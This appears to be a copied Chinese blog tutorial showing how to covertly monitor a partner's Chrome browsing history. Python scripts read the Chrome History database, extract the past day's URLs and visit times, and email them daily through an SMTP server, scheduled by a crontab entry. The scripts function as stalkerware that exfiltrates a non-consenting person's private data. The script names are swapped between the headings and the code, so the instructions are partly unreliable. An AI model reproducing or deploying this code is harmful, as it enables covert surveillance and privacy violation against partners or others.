清空網站瀏覽記錄就行啦?看Python如何實時監控網站瀏覽記錄

来源:https://www.cnblogs.com/zwhy8/archive/2020/07/08/13268968.html
-Advertisement-
Play Games

前言 本文的文字及圖片來源於網路,僅供學習、交流使用,不具有任何商業用途,版權歸原作者所有,如有問題請及時聯繫我們以作處理。 需求: (1) 獲取你對象chrome前一天的瀏覽記錄中的所有網址(url)和訪問時間,並存在一個txt文件中 (2)將這個txt文件發送給指定的郵箱地址(你的郵箱) (3) ...


前言

本文的文字及圖片來源於網路,僅供學習、交流使用,不具有任何商業用途,版權歸原作者所有,如有問題請及時聯繫我們以作處理。

需求:

(1) 獲取你對象chrome前一天的瀏覽記錄中的所有網址(url)和訪問時間,並存在一個txt文件中

(2)將這個txt文件發送給指定的郵箱地址(你的郵箱)

(3)建立例行任務,每天定時自動完成這些操作,你就可以通過郵件查看你對象每天看啥了

 

 

準備

macOS Sierra

Python3.6

Chrome

發送郵件的qq郵箱地址

qq郵箱授權碼

SMTP伺服器地址 : smtp.qq.com

接受郵件的郵箱地址

執行:

(1) 首先我們用DB Browser for SQLite來看下History中的urls表的數據組成

從表中可以看出,我們要的網址和訪問時間就在urls.url和urls.last_visit_time中

清空網站瀏覽記錄就行啦?看Python如何實時監控網站瀏覽記錄

 

(2) get_history.py:

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

1.文件執行的需要的參數(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


2.格式化一個郵件地址和郵件信息
def _format_addr(s):
    name, addr = parseaddr(s)
    return formataddr((Header(name, 'utf-8').encode(), addr))

#連接伺服器(這裡大家好改成自己的!)
from_addr = "[email protected]" #發件人郵箱
password = "xxxxxxxx" #發件人郵箱授權碼
to_addr = "[email protected]" #收件人郵箱
smtp_server = "smtp.qq.com" #SMTP伺服器地址

#郵件發件人名字、收件人名字、主題
msg = MIMEMultipart()
msg['From'] = _format_addr('風一樣的女子 <%s>' % from_addr)
msg['To'] = _format_addr('風一樣的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome歷史記錄每日更新', 'utf-8').encode()

# 郵件正文是MIMEText:
msg.attach(MIMEText('窺探隱私是犯法的啊!', 'plain', 'utf-8'))

# 添加附件就是加上一個MIMEBase,從本地讀取一個txt文件:
with open(args.affix_file, 'r') as f:
    # 設置附件的MIME和文件名,這裡是py類型:
    mime = MIMEBase('result', 'txt', filename='result.txt')
    # 加上必要的頭信息:
    mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
    mime.add_header('Content-ID', '<0>')
    mime.add_header('X-Attachment-Id', '0')
    # 把附件的內容讀進來:
    mime.set_payload(f.read())
    # 用Base64編碼:
    encoders.encode_base64(mime)
    # 添加到MIMEMultipart:
    msg.attach(mime)

#3.通過SMTP發送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通過這個腳本,我們可以把url和訪問時間提取出來,並且存儲在

result.txt中,下圖就是我得到的部分結果

清空網站瀏覽記錄就行啦?看Python如何實時監控網站瀏覽記錄

 

(3) send_email.py:

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路徑
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

1.連接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


2.選取我們想要的網址和訪問時間
try:
    select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
    cursor.execute(select_statement)
except sqlite3.OperationalError:
    print("[!] The database is locked! Please exit Chrome and run the script again.")
    quit()

3.將網址和訪問時間存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路徑
    for i in range(len(results)):
        f.write(results[i][1]+'\n')
        f.write(results[i][0]+'\n')

通過這個腳本,我們可以把result.txt作為附件,發送給指定郵箱地

址,下圖是我得到的部分結果

清空網站瀏覽記錄就行啦?看Python如何實時監控網站瀏覽記錄

 

(4) ./start.sh :其實,前面幾個腳本,已經完成了我們的任務,但是每次都執行這麼多腳

本,太麻煩了,我們可以把這些腳本的執行語句整理成一個shell腳本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

這樣,我們在終端執行./start.sh,系統就會幫我們把這三條語句依次執行了

註意:由於crontab命令需要絕對路徑,所以這裡的路徑都是用絕對路徑

(5) crontab :如果使用了這個命令,在電腦開機並且聯網的情況,系統會自動執行,然後把結果發到你的郵箱

使用方法:在終端下輸入crontab -e,使用vim輸入下麵一行代碼就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

說明:前面兩個數字,就是你每天執行這個腳本的時間,我這裡設置的是14:20。

重要的事再說一遍,一定要寫絕對路徑!!


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 自定義攔截器 /** * UserSecurityInterceptor * Created with IntelliJ IDEA. * Author: yangyongkang * Date: 2018/8/22 * Time: 14:20 */ @Component public class U ...
  • 我是跟著《深入淺出 Spring Boot 2.x》這本書學習的,在“初識Spring MVC”章節中,搭建項目,然後訪問jsp頁面時報錯:Path with "WEB-INF" or "META-INF": [WEB-INF/jsp/details.jsp 1、因為沒有書本中說的 WEB-INF  ...
  • from docx import Document w=Document() w.add_section() w.add_section() w.paragraphs[0].add_run('第一個段落') w.paragraphs[1].add_run('第二個段落') w.save(r'D:\w ...
  • 一、類及對象 1. 類的組成成分 屬性(成員變數,Field) 方法(成員方法,函數,Method) 2. 屬性 成員變數 vs 局部變數 相同點: 遵循變數聲明的格式: 數據類型 變數名 = 初始化值 都有作用域 不同點: 聲明的位置的不同 :成員變數:聲明在類里,方法外, 局部變數:聲明在方法內 ...
  • 轉載註明鏈接:https://www.cnblogs.com/liquancai/p/13269428.html 基於 pygame 設計貪吃蛇游戲 貪吃蛇游戲通過玩家控制蛇移動,不斷吃到食物增長,直到碰到蛇身或邊界游戲結束。其運行效果如下所示: 游戲開始時,先導入可能需要用到的包。 import ...
  • 原文地址:https://www.wjcms.net/archives/laravel%E6%95%B0%E6%8D%AE%E5%BA%93%E8%BF%81%E7%A7%BB%E6%97%B6%E6%8A%A5%E9%94%99 問題描述 [Illuminate\Database\QueryExc ...
  • 文件讀取 讀取模式('r')、寫入模式寫入模式('w')、附加模式附加模式('a')或讓你能夠讀取和寫入文件的模式('r+' 如果要寫入的文件不存在,函數open()將自動創建它。然而,以寫入('w')模式打開文件時千萬要小心,因為如果指定的文件已經存在,Python將在返迴文件對象前清空該文件 p ...
  • 原文地址:https://www.wjcms.net/archives/laravel%E5%B0%8F%E5%AE%9E%E4%BE%8B%E4%B8%80%E6%96%87%E5%BF%AB%E9%80%9F%E5%AD%A6%E4%BC%9Alaravel%E6%95%B0%E6%8D%AE% ...
一周排行
    -Advertisement-
    Play Games
  • 1. 說明 /* Performs operations on System.String instances that contain file or directory path information. These operations are performed in a cross-pla ...
  • 視頻地址:【WebApi+Vue3從0到1搭建《許可權管理系統》系列視頻:搭建JWT系統鑒權-嗶哩嗶哩】 https://b23.tv/R6cOcDO qq群:801913255 一、在appsettings.json中設置鑒權屬性 /*jwt鑒權*/ "JwtSetting": { "Issuer" ...
  • 引言 集成測試可在包含應用支持基礎結構(如資料庫、文件系統和網路)的級別上確保應用組件功能正常。 ASP.NET Core 通過將單元測試框架與測試 Web 主機和記憶體中測試伺服器結合使用來支持集成測試。 簡介 集成測試與單元測試相比,能夠在更廣泛的級別上評估應用的組件,確認多個組件一起工作以生成預 ...
  • 在.NET Emit編程中,我們探討了運算操作指令的重要性和應用。這些指令包括各種數學運算、位操作和比較操作,能夠在動態生成的代碼中實現對數據的處理和操作。通過這些指令,開發人員可以靈活地進行算術運算、邏輯運算和比較操作,從而實現各種複雜的演算法和邏輯......本篇之後,將進入第七部分:實戰項目 ...
  • 前言 多表頭表格是一個常見的業務需求,然而WPF中卻沒有預設實現這個功能,得益於WPF強大的控制項模板設計,我們可以通過修改控制項模板的方式自己實現它。 一、需求分析 下圖為一個典型的統計表格,統計1-12月的數據。 此時我們有一個需求,需要將月份按季度劃分,以便能夠直觀地看到季度統計數據,以下為該需求 ...
  • 如何將 ASP.NET Core MVC 項目的視圖分離到另一個項目 在當下這個年代 SPA 已是主流,人們早已忘記了 MVC 以及 Razor 的故事。但是在某些場景下 SSR 還是有意想不到效果。比如某些靜態頁面,比如追求首屏載入速度的時候。最近在項目中回歸傳統效果還是不錯。 有的時候我們希望將 ...
  • System.AggregateException: 發生一個或多個錯誤。 > Microsoft.WebTools.Shared.Exceptions.WebToolsException: 生成失敗。檢查輸出視窗瞭解更多詳細信息。 內部異常堆棧跟蹤的結尾 > (內部異常 #0) Microsoft ...
  • 引言 在上一章節我們實戰了在Asp.Net Core中的項目實戰,這一章節講解一下如何測試Asp.Net Core的中間件。 TestServer 還記得我們在集成測試中提供的TestServer嗎? TestServer 是由 Microsoft.AspNetCore.TestHost 包提供的。 ...
  • 在發現結果為真的WHEN子句時,CASE表達式的真假值判斷會終止,剩餘的WHEN子句會被忽略: CASE WHEN col_1 IN ('a', 'b') THEN '第一' WHEN col_1 IN ('a') THEN '第二' ELSE '其他' END 註意: 統一各分支返回的數據類型. ...
  • 在C#編程世界中,語法的精妙之處往往體現在那些看似微小卻極具影響力的符號與結構之中。其中,“_ =” 這一組合突然出現還真不知道什麼意思。本文將深入剖析“_ =” 的含義、工作原理及其在實際編程中的廣泛應用,揭示其作為C#語法奇兵的重要角色。 一、下劃線 _:神秘的棄元符號 下劃線 _ 在C#中並非 ...